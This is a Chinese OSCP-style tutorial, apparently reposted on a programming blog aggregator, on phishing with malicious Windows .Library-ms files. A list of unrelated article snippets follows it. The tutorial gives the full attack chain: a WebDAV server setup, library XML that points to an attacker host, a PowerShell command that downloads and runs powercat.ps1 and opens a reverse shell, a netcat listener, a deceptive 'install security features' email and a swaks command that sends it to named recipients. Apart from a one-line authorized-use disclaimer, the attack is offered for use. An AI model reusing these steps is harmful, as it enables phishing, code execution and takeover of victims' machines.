OSCP:发送钓鱼电子邮件执行客户端攻击

概述

在渗透测试领域,钓鱼攻击是一种有效的客户端攻击手段,尤其在目标用户缺乏安全意识或系统存在未修复漏洞时,成功率较高。针对Windows平台,滥用Windows库文件(.Library-ms)是一种技术性较强但易于实施的攻击方式。这种方法利用了Windows库文件的特性,通过结合WebDAV服务和恶意脚本,可在目标系统上执行任意代码,从而进一步控制目标设备。

本文旨在详细解析如何使用Windows库文件发起钓鱼攻击,并通过实际操作流程展示如何成功获取目标的反弹Shell。同时,文中还包含对攻击工具、文件配置、钓鱼邮件内容设计及服务部署的全面讲解。


攻击流程

为了确保钓鱼攻击的成功,攻击者需经过充分准备,包括搭建服务环境、制作诱导目标执行的文件及设计合适的社会工程策略。以下是具体的攻击流程:

1. 准备工作

在攻击的准备阶段,攻击者需要搭建一个WebDAV服务器,用于托管攻击所需的恶意文件。WebDAV服务器是实现文件托管与目标连接的重要组件。

1.1 安装WebDAV

在Kali Linux上,可通过wsgidav快速搭建WebDAV服务器。以下是安装命令:

pip3 install wsgidav

此命令会下载并安装WebDAV所需的组件,为后续服务器部署做好准备。

1.2 创建WebDAV目录

为了存放恶意文件,需创建一个目录并进行初步测试:

mkdir /home/kali/webdav
touch /home/kali/webdav/test.txt

通过创建测试文件,可以确认目录权限及服务是否正常运行。

1.3 启动WebDAV服务器

完成目录准备后,启动WebDAV服务器,并配置为匿名访问以便目标用户无需认证即可连接:

/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/

此时,WebDAV服务已启动并在80端口监听,后续恶意文件将托管于此服务器。


2. 创建恶意库文件

在攻击实施阶段,核心是构建一个可以诱导目标系统执行的恶意库文件及快捷方式文件。它们的设计决定了攻击的有效性。

2.1 构建config.Library-ms文件

config.Library-ms文件是用于连接目标与攻击者WebDAV服务器的关键。以下是其XML代码:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"><name>@windows.storage.dll,-34582</name><version>6</version><isLibraryPinned>true</isLibraryPinned><iconReference>imageres.dll,-1003</iconReference><templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo><searchConnectorDescriptionList><searchConnectorDescription><isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported><simpleLocation><url>http://192.168.119.2</url></simpleLocation></searchConnectorDescription></searchConnectorDescriptionList>
</libraryDescription>

此文件的关键字段为<url>,需要替换为攻击者WebDAV服务器的实际地址。目标用户一旦打开该文件,Windows会尝试连接该URL。

2.2 构建快捷方式文件

快捷方式文件负责执行恶意代码,以下为典型的PowerShell下载和反弹Shell命令:

powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.3:8000/powercat.ps1'); powercat -c 192.168.119.3 -p 4444 -e powershell"

此命令将在目标机器上下载并执行powercat.ps1脚本,连接回攻击者机器,形成反弹Shell。


3. 分发恶意文件

构建完成的恶意文件需传递给目标用户,可通过以下方式实现:

  1. 邮件附件:结合社会工程设计的钓鱼邮件,以附件形式发送。
  2. SMB共享:通过内网文件共享上传至目标访问的目录。

将文件上传至WebDAV目录:

cd /home/kali/webdav
smbclient //192.168.50.195/share -c 'put config.Library-ms'

4. 获取反弹Shell

当目标用户打开恶意文件夹或执行快捷方式文件时,攻击者便可通过监听器获取目标系统的交互式Shell。

配置监听器

在攻击者机器上启动Netcat监听器以接收反弹Shell:

nc -nvlp 4444

通过监听器,攻击者可捕获目标设备的Shell连接,执行后续命令获取进一步的权限。


钓鱼邮件设计与发送

社会工程邮件设计

钓鱼邮件的成功关键在于内容的可信性。以下是一个样例邮件:

Subject: Staging ScriptHey!I checked WEBSRV1 and discovered that the previously used staging script still exists in the Git logs. I'll remove it for security reasons.On an unrelated note, please install the new security features on your workstation. For this, download the attached file, double-click on it, and execute the configuration shortcut within.Thanks!  
John

邮件中提到的“内部信息”(如Git日志)提升了可信度,增加了目标用户打开附件的可能性。

使用swaks发送邮件

通过swaks发送钓鱼邮件(需要输入用户凭据):

sudo swaks -t daniela@beyond.com -t marcus@beyond.com --from john@beyond.com --attach @config.Library-ms --server 192.168.50.242 --body @body.txt --header "Subject: Staging Script" --suppress-data -ap

总结

滥用Windows库文件是一种隐蔽且有效的攻击手段。通过结合WebDAV服务和恶意脚本,攻击者可以轻松地在目标系统上执行任意代码。

免责声明:本文内容仅限于合法授权的渗透测试环境中使用,任何非法用途均需自行承担后果。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/69145.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

记录一下 在Mac下用pyinstallter 打包 Django项目

安装: pip install pyinstaller 在urls.py from SheepMasterOneToOne import settings from django.conf.urls.static import staticurlpatterns [path("admin/", admin.site.urls),path(generate_report/export/, ReportAdmin(models.Report, admin.site).generat…

使用Python和TensorFlow/Keras构建一个简单的CNN模型来识别手写数字

一个简单的图像识别项目代码示例,使用Python和TensorFlow/Keras库来训练一个基本的CNN模型,用于识别MNIST手写数字数据集,并将测试结果输出到HTML。 代码运行效果截图: 具体操作步骤: 1. 安装所需的库 首先,确保你已经安装了所需的Python库: pip install tensorflow…

【学Rust写CAD】4 相对坐标系详解与实现要素概览

相对坐标系&#xff08;Relative Coordinate System, RCS&#xff09;是一个强大且灵活的工具&#xff0c;尤其在绘图、三维建模等领域中发挥着重要作用。以下是对相对坐标系的详细解析&#xff0c;包括其定义、应用、特性、与绝对坐标的区别、在CAD中的应用以及实现方式。 一…

个人的胡思乱想

转眼就是2025年&#xff0c;时间过的飞快&#xff0c;2024这一年&#xff0c;基本到处出差&#xff0c;因为换了新的方向&#xff0c;投身到半导体智能制造行业&#xff0c;依然是以技术为进入行业的切入点&#xff0c;不得不说&#xff0c;软件编程是万金油&#xff0c;干啥都…

鲸鱼算法 matlab pso

算法原理 鲸鱼优化算法的核心思想是通过模拟座头鲸的捕食过程来进行搜索和优化。座头鲸在捕猎时会围绕猎物游动并产生气泡网&#xff0c;迫使猎物聚集。这一行为被用来设计搜索策略&#xff0c;使算法能够有效地找到全局最优解。 算法步骤 ‌初始化‌&#xff1a;随机生成一…

2021.3.1的android studio版本就很好用

使用最新版的studio有个问题就是gradle版本也比较高&#xff0c;这样就容易出现之前项目不兼容问题&#xff0c;配置gradle可能会出现很多问题比较烦&#xff0c;所以干脆就用老版本的studio

控件【QT】

文章目录 控件QWidgetenabledgeometrysetGeometry qrcwindowOpacityQPixmapfonttoolTipfocusPolicystyleSheetQPushButtonRadio ButtionCheck Box显示类控件QProgressBarcalendarWidget 控件 Qt中已经提供了很多内置的控件了(按钮,文本框,单选按钮,复选按钮&#xff0c;下拉框…

【小鱼闪闪】做一个物联网控制小灯的制作流程简要介绍(图文)

1、注册物联网云平台&#xff0c;这里选用巴法云 2.、新建主题 “ledtest” 3、 使用Arduino或Mixly软件编写单片机程序&#xff08;需要引用巴法云库文件&#xff09;&#xff0c;程序中订阅“ledtest”主题&#xff0c;用于接收单片机发送来的数据。此处会将连接的温度传感器…

KNN算法:从思想到实现(附代码)

引言 K最近邻算法&#xff08;K Nearest Neighbors, KNN&#xff09;是一种简单而有效的机器学习算法&#xff0c;用于分类和回归问题。其核心思想基于“近朱者赤&#xff0c;近墨者黑”&#xff0c;即通过测量不同特征值之间的距离来进行分类或预测数值。本文将详细介绍KNN的…

Springboot如何使用面向切面编程AOP?

Springboot如何使用面向切面编程AOP? 在 Spring Boot 中使用面向切面编程&#xff08;AOP&#xff09;非常简单&#xff0c;Spring Boot 提供了对 AOP 的自动配置支持。以下是详细的步骤和示例&#xff0c;帮助你快速上手 Spring Boot 中的 AOP。 1. 添加依赖 首先&#xff…

专业学习|一文了解并实操自适应大邻域搜索(讲解代码)

一、自适应大邻域搜索概念介绍 自适应大邻域搜索&#xff08;Adaptive Large Neighborhood Search&#xff0c;ALNS&#xff09;是一种用于解决组合优化问题的元启发式算法。以下是关于它的详细介绍&#xff1a; -自适应大领域搜索的核心思想是&#xff1a;破坏解、修复解、动…

TensorFlow深度学习实战(6)——回归分析详解

TensorFlow深度学习实战&#xff08;6&#xff09;——回归分析详解 0. 前言1. 回归分析简介2. 线性回归2.1 简单线性回归2.2 多重线性回归2.3 多元线性回归 3. 构建基于线性回归的神经网络3.1 使用 TensorFlow 进行简单线性回归3.2 使用 TensorFlow 进行多元线性回归和多重线性…

使用 Swift 完成FFmpeg音频录制、播放和视频格式转换应用

使用 Swift 构建音频录制、播放和视频格式转换应用 在这篇博客中&#xff0c;我们介绍如何用ffmpeg在swift上实现音频录制、音频播放、通过ffmpeg命令实现视频格式转换 音频录制&#xff1a;通过 AVAudioRecorder 实现音频录制功能。音频播放&#xff1a;通过 AVAudioPlayer …

2024年12月 Scratch 图形化(二级)真题解析 中国电子学会全国青少年软件编程等级考试

202412 Scratch 图形化&#xff08;二级&#xff09;真题解析 中国电子学会全国青少年软件编程等级考试 一、单选题(共25题&#xff0c;共50分) 第 1 题 小猫初始位置和方向如下图所示&#xff0c;下面哪个选项能让小猫吃到老鼠&#xff1f;&#xff08; &#xff09; A. B. …

Java 面试合集(2024版)

种自己的花&#xff0c;爱自己的宇宙 目录 第一章-Java基础篇 1、你是怎样理解OOP面向对象??? 难度系数&#xff1a;? 2、重载与重写区别??? 难度系数&#xff1a;? 3、接口与抽象类的区别??? 难度系数&#xff1a;? 4、深拷贝与浅拷贝的理解??? 难度系数&…

js的 encodeURI() encodeURIComponent() decodeURI() decodeURIComponent() 笔记250205

js的 encodeURI() encodeURIComponent() decodeURI() decodeURIComponent() 在JavaScript中&#xff0c;处理URI编码和解码的四个关键函数为&#xff1a;encodeURI()、encodeURIComponent()、decodeURI()和decodeURIComponent()。它们分别用于不同的场景&#xff0c;具体区别和…

Math Reference Notes: 符号函数

1. 符号函数的定义 符号函数&#xff08;Sign Function&#xff09; sgn ( x ) \text{sgn}(x) sgn(x) 是一个将实数 ( x ) 映射为其 符号值&#xff08;即正数、负数或零&#xff09;的函数。 它的定义如下&#xff1a; sgn ( x ) { 1 如果 x > 0 0 如果 x 0 − 1 如…

一文了解边缘计算

什么是边缘计算&#xff1f; 我们可以通过一个最简单的例子来理解它&#xff0c;它就像一个司令员&#xff0c;身在离炮火最近的前线&#xff0c;汇集现场所有的实时信息&#xff0c;经过分析并做出决策&#xff0c;及时果断而不拖延。 1.什么是边缘计算&#xff1f; 边缘计算…

C语言基础系列【2】开发环境搭建

选择合适的编译器 在C语言或者C这种编译型语言开发中&#xff0c;编译器是必不可少的工具。它将C语言源代码转换为机器代码&#xff0c;使程序能够在计算机上运行。 常见的C语言编译器包括GCC&#xff08;GNU Compiler Collection&#xff0c;GNU编译器套件&#xff09;、Cla…

在 Spring Boot 项目中,bootstrap.yml 和 application.yml文件区别

在 Spring Boot 项目中&#xff0c;bootstrap.yml 和 application.yml 是两个常用的配置文件&#xff0c;它们的作用和加载顺序有所不同。以下是它们的详细说明&#xff1a; 1. bootstrap.yml 作用&#xff1a; bootstrap.yml 是 Spring Cloud 项目中的配置文件&#xff0c;用于…